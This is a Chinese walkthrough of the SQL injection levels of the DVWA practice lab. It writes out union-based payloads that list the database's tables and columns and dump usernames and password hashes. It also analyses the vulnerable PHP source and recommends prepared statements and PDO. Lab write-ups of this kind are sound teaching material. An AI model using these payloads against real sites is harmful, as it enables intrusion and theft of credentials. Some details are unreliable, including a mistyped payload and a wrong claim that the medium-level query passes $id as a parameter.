DVWA靶场通关——SQL Injection篇
一,Low难度下union+get+字符串+select注入
1,首先手工注入判断是否存在SQL注入漏洞,输入1
这是正常回显的结果,再键入1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
发生报错,再键入1"
结果并不报错,这说明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容执行。那么推断闭合方式为单引号
2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段
1' order by 2#
至少存在两个字段,
1' order by 3#
不存在第三个字段,那么就只有两个字段
3,接着使用union操作符判断回显点 1' union select 1,2#
由此可以看到存在两个回显点,接着参考数据库名和版本
1' union select database(),version()#
4,对查询语句的限制并不多,可以用union语句开始爆库。
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
使用user表,再报user表下字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
5,最后就爆破出用户和密码字段的内容了,并且使它们成对显示
1' union select user,password from users#
由此,成功通关
查看并分析源码内容
该PHP代码段的主要功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将结果显示给用户。代码支持两种数据库:MySQL和SQLite。
代码结构
- 输入处理:通过$_REQUEST['Submit']判断是否提交了表单,并获取用户输入的id。
- 数据库选择:根据$_DVWA['SQLI_DB']的值选择使用MySQL还是SQLite。
- 查询执行:
- MySQL:使用mysqli_query执行SQL查询,并通过mysqli_fetch_assoc获取结果。
- SQLite:使用SQLite3对象执行查询,并通过fetchArray获取结果。
- 结果显示:将查询结果格式化为HTML并输出。
安全问题
该代码存在严重的SQL注入漏洞,主要问题在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处理。攻击者可以通过构造恶意输入来执行任意SQL命令,从而获取或篡改数据库中的数据。
改进建议
- 使用预处理语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
- 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
- 错误处理:改进错误处理机制,避免在生产环境中暴露详细的错误信息。
查看源码查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
这段代码是一个使用PHP和MySQL进行数据库查询的示例。它从users表中选择first_name和last_name,条件是user_id等于变量$id的值。
潜在的安全问题
该代码存在SQL注入的潜在风险,因为$id变量直接嵌入到SQL查询字符串中,没有进行任何形式的转义或预处理。如果$id的值来自用户输入,攻击者可以通过构造恶意输入来执行任意SQL命令。
改进建议
为了防止SQL注入,建议使用预处理语句(Prepared Statements)和参数绑定。以下是改进后的代码示例:
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], "SELECT first_name, last_name FROM users WHERE user_id = ?");
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if (!$result) {
die('<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>');
}
解释
- 预处理语句:mysqli_prepare函数创建一个预处理语句,其中?是占位符,用于替换实际的参数。
- 参数绑定:mysqli_stmt_bind_param函数将变量$id绑定到预处理语句中的占位符。"i"表示$id是一个整数。
- 执行语句:mysqli_stmt_execute函数执行预处理语句。
- 获取结果:mysqli_stmt_get_result函数获取查询结果。
- 错误处理:如果查询失败,使用mysqli_error函数获取错误信息并终止脚本。
通过这种方式,可以有效防止SQL注入攻击,提高代码的安全性。
二,Medium难度下union+post+整数型+select注入
1,该网页仅允许我们通过下拉表单的格式提交数据
2,可以挂上burpsuite拦截一个包分析一下,
3,那么就可以知到网页使用POST请求方式提交查询语句,并且固定格式为?id=表达数据&Submit=Submit。那么这个POST型注入可以用两种工具解:burp suite和hackbar。为了简单这里使用hackbar
判断闭合方式,输入1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
发生报错,再输入1"还是发生报错。当知道是下拉表达方式提交数据,其实就能判断出是数字型注入了
4,order by操作符判断数据表有几列
id=1 order by 2&Submit=Submit
正常回显,证明至少有2列。id=1 order by 3&Submit=Submit
发生报错,说明数据表只有两列
5,union操作符确定回显位置 id=1 union select 1,2&Submit=Submit
由此就知道了1,2两个位置都能正常回显数据,再爆出数据库名和数据库版本
id=1 union select database(),version()&Submit=Submit
6,开始爆破数据库中数据表名。
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit
从users数据表里面爆出所有字段名
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'&Submit=Submit
发生报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\'' at line 1
错误信息提示在'\'users\''附近有语法问题,可以尝试将users经十六进制编码为0x7573657273以绕过对表名的过滤
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit
再爆出user,password数据并且使其成对显示
id=1 union select user,password from users&Submit=Submit
成功爆出账户和密码信息
查看并分析源码内容
- 表单提交处理:
- 代码首先检查是否提交了表单(通过$_POST['Submit']是否设置来判断)。
- 如果表单提交,获取用户输入的id,并使用mysqli_real_escape_string函数对输入进行转义,以防止SQL注入。
- 数据库查询:
- 根据$_DVWA['SQLI_DB']的值(MYSQL或SQLITE),代码分别处理MySQL和SQLite数据库的查询。
- 对于MySQL数据库,使用mysqli_query执行查询,并使用mysqli_fetch_assoc获取结果。
- 对于SQLite数据库,使用$sqlite_db_connection->query执行查询,并使用fetchArray获取结果。
- 结果显示:
- 查询结果通过循环遍历,将每个用户的first_name和last_name格式化后显示在页面上。
- 统计用户数量:
- 代码最后执行一个查询,统计users表中的用户总数,并将结果存储在$number_of_rows变量中。
- 数据库连接关闭:
- 代码在最后关闭了MySQL数据库连接(mysqli_close)。
改进建议
- 使用预处理语句:
- 对于MySQL,建议使用mysqli_prepare和mysqli_stmt_bind_param来执行查询。
- 对于SQLite,可以使用sqlite3_prepare和sqlite3_bind_param。
- 错误处理:
- 在生产环境中,建议捕获异常并记录日志,而不是直接输出错误信息。
- 代码结构优化:
- 将数据库连接和查询逻辑封装到函数或类中,提高代码的可维护性和可读性。
medium难度和low的php源码相比
输入处理方式
在第一段代码中,$id 变量直接从 $_REQUEST 数组中获取,并且没有进行任何转义或过滤处理。这意味着 $id 变量可能包含用户输入的恶意数据,存在SQL注入风险。
$id = $_REQUEST[ 'id' ];
在第二段代码中,$id 变量同样从 $_POST 数组中获取,但在传递给SQL查询之前,使用 mysqli_real_escape_string 函数对其进行了转义处理,从而减少了SQL注入的风险。
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
SQL查询语句
在第一段代码中,SQL查询语句直接将 $id 变量嵌入到字符串中,这可能导致SQL注入攻击。
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
在第二段代码中,SQL查询语句将 $id 变量作为参数传递,而不是直接嵌入到字符串中,这使得SQL注入攻击更难以成功。
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
数据库连接关闭
两段代码在处理完数据库查询后都关闭了数据库连接,这一点是相同的。
mysqli_close($GLOBALS["___mysqli_ston"]);
总结
- 安全性:第二段代码通过使用 mysqli_real_escape_string 函数对用户输入进行转义处理,显著提高了代码的安全性,减少了SQL注入的风险。
- 输入来源:第一段代码从 $_REQUEST 数组中获取输入,而第二段代码从 $_POST 数组中获取输入,后者更明确地限制了输入来源。
- SQL查询:第二段代码的SQL查询语句更安全,因为它避免了直接将用户输入嵌入到查询字符串中。
三,low难度下
1,观察一下页面,发现是给定一个弹窗让我们change ID
直接输入1的效果如下
burpsuite拦截直接抓个包看看
当我在弹窗里面输入1测试,发现提交请求方式变成了POST
2,判断一下字符串闭合方式,输入1'
发生报错,再输入1"
没有发生报错,那么猜测为闭合方式为单引号(输入1'#就能不报错证明)
3,order by判断存在字段数 1' order by 2#
证明至少有2列存在,再输入 1' order by 3#
那么该数据表就只有两列
4,union操作符判断数据回显位置
回显位置存在两个,爆一下数据库名和数据库版本
1' union select database(),version()#
5,爆出数据表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
再爆数据库名
1' union select 1,group_concat(column_name) from information_schema.columns where column_name='users'#
爆出用户名和密码
1' union select user,password from users #
成功通关
查看并分析源码内容
安全性问题
- SQL注入漏洞:代码中直接将用户输入的$id变量插入到SQL查询中,存在SQL注入风险。攻击者可以通过构造恶意输入来执行任意SQL命令。
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
解决方法:使用预处理语句(Prepared Statements)来防止SQL注入。 - 错误信息暴露:代码中直接将数据库错误信息输出到前端,可能会暴露敏感信息给攻击者。
or die( '<pre>Something went wrong.</pre>' );
解决方法:记录错误信息到日志文件,而不是直接输出到前端。
代码优化建议
- 代码格式化:代码中的双括号{{和}}是多余的,可以删除以提高代码可读性。
- 错误处理:在SQLite部分,错误处理不够完善,可以改进以提供更详细的错误信息。
- 数据库连接管理:在MySQL部分,数据库连接的关闭操作可以更简洁地实现。
四,impossible难度下
<<DVWA靶场——impossible难度SQL注入的源码分析.md>>
代码功能概述
该PHP代码的主要功能是根据用户提供的id参数,从数据库中查询对应的用户信息(包括first_name和last_name),并将查询结果显示给用户。代码支持两种数据库类型:MySQL和SQLite。
安全措施
- Anti-CSRF Token: 代码中使用了checkToken函数来验证用户提交的user_token是否与session_token匹配,以防止跨站请求伪造(CSRF)攻击。
- 输入验证: 代码通过is_numeric函数检查id是否为数字,并使用intval将其转换为整数,以防止SQL注入攻击。
- 参数化查询: 无论是MySQL还是SQLite,代码都使用了参数化查询(Prepared Statements)来执行SQL查询,进一步防止SQL注入攻击。
数据库操作
- MySQL:
- 使用PDO(PHP Data Objects)进行数据库操作。
- 通过bindParam方法将id参数绑定到SQL查询中。
- 执行查询后,检查返回的行数是否为1,以确保只返回一条记录。
- SQLite:
- 使用SQLite3扩展进行数据库操作。
- 通过bindValue方法将id参数绑定到SQL查询中。
- 由于SQLite3没有直接获取行数的方法,代码通过检查返回的列数来确保查询结果的正确性。
输出结果
- 如果查询成功,代码将用户的id、first_name和last_name以HTML格式输出到页面上。
- 如果查询失败或没有找到匹配的记录,代码不会输出任何信息。
数据库PDO技术
根据搜索结果,我们可以了解到,PDO(PHP Data Objects)是PHP中用于数据库操作的一种技术。以下是对数据库PDO技术的详细介绍:
1. 什么是PDO?
PDO是PHP内置的一个数据库抽象层,它提供了一个统一的数据库访问接口,支持多种数据库管理系统(如MySQL、PostgreSQL等)。使用PDO,开发者可以更轻松地连接数据库、执行查询,并处理结果集。
2. 安装和配置PDO
在使用PDO之前,需要确保PHP环境中已启用PDO扩展。通常,PDO是PHP默认安装的一部分,但可以在php.ini 文件中检查以下行是否被注释:
extension=pdo_mysql
3. 建立数据库连接
使用PDO连接数据库非常简单。以下是一个基本的连接示例:
try {
$pdo = new PDO('mysql:host=localhost;dbname=testdb', 'username', 'password');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
echo '连接失败: ' . $e->getMessage();
}
在这个示例中,我们使用mysql:host和dbname来指定数据库的主机和名称,并设置错误模式,以便捕获异常。
4. 使用预处理语句防止SQL注入
为了安全地执行数据库操作,建议使用预处理语句。预处理语句允许我们在执行查询时将参数绑定,从而避免SQL注入攻击。以下是一个INSERT语句的示例:
$stmt = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
$stmt->execute(['name' => $userName, 'email' => $userEmail]);
在这个示例中,:name和:email是参数占位符,实际的值在执行时通过关联数组传入。
5. 更新和删除数据
更新和删除数据同样可以使用预处理语句。例如:
// 更新用户信息
$stmt = $pdo->prepare('UPDATE users SET email=:email WHERE name=:name');
$stmt->execute(['email' => $newEmail, 'name' => $userName]);
// 删除用户
$stmt = $pdo->prepare('DELETE FROM users WHERE name=:name');
$stmt->execute(['name' => $userName]);
6. 事务处理
在涉及多个数据库操作时,使用事务可以确保数据一致性。如果其中一条操作失败,可以回滚所有操作。以下是事务处理的示例:
try {
// 开始事务
$pdo->beginTransaction();
// 执行多个操作
$stmt1 = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
$stmt1->execute(['name' => 'Alice', 'email' => 'alice@example.com']);
$stmt2 = $pdo->prepare('INSERT INTO orders (user_id, product) VALUES (:user_id, :product)');
$stmt2->execute(['user_id' => $pdo->lastInsertId(), 'product' => 'Product A']);
// 提交事务
$pdo->commit();
} catch (Exception $e) {
// 回滚事务
$pdo->rollBack();
echo '操作失败: ' . $e->getMessage();
}
在这个示例中,我们开始一个事务并执行多个操作。如果任何一条操作失败,我们将回滚事务,确保数据的一致性。
7. 错误处理
PDO提供了强大的错误处理机制。可以通过设置错误模式来捕获异常,确保我们能及时处理错误:
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
// 数据库操作
} catch (PDOException $e) {
echo '数据库错误: ' . $e->getMessage();
}
8. 最佳实践
- 使用参数化查询:总是使用预处理语句来执行查询,以避免SQL注入。
- 确保正确配置数据库连接和错误处理。
- 使用事务处理来确保数据一致性。
通过以上介绍,我们可以看到PDO技术在PHP数据库操作中的重要性和实用性。它不仅简化了数据库操作,还提供了安全的机制来防止SQL注入和其他潜在的安全问题。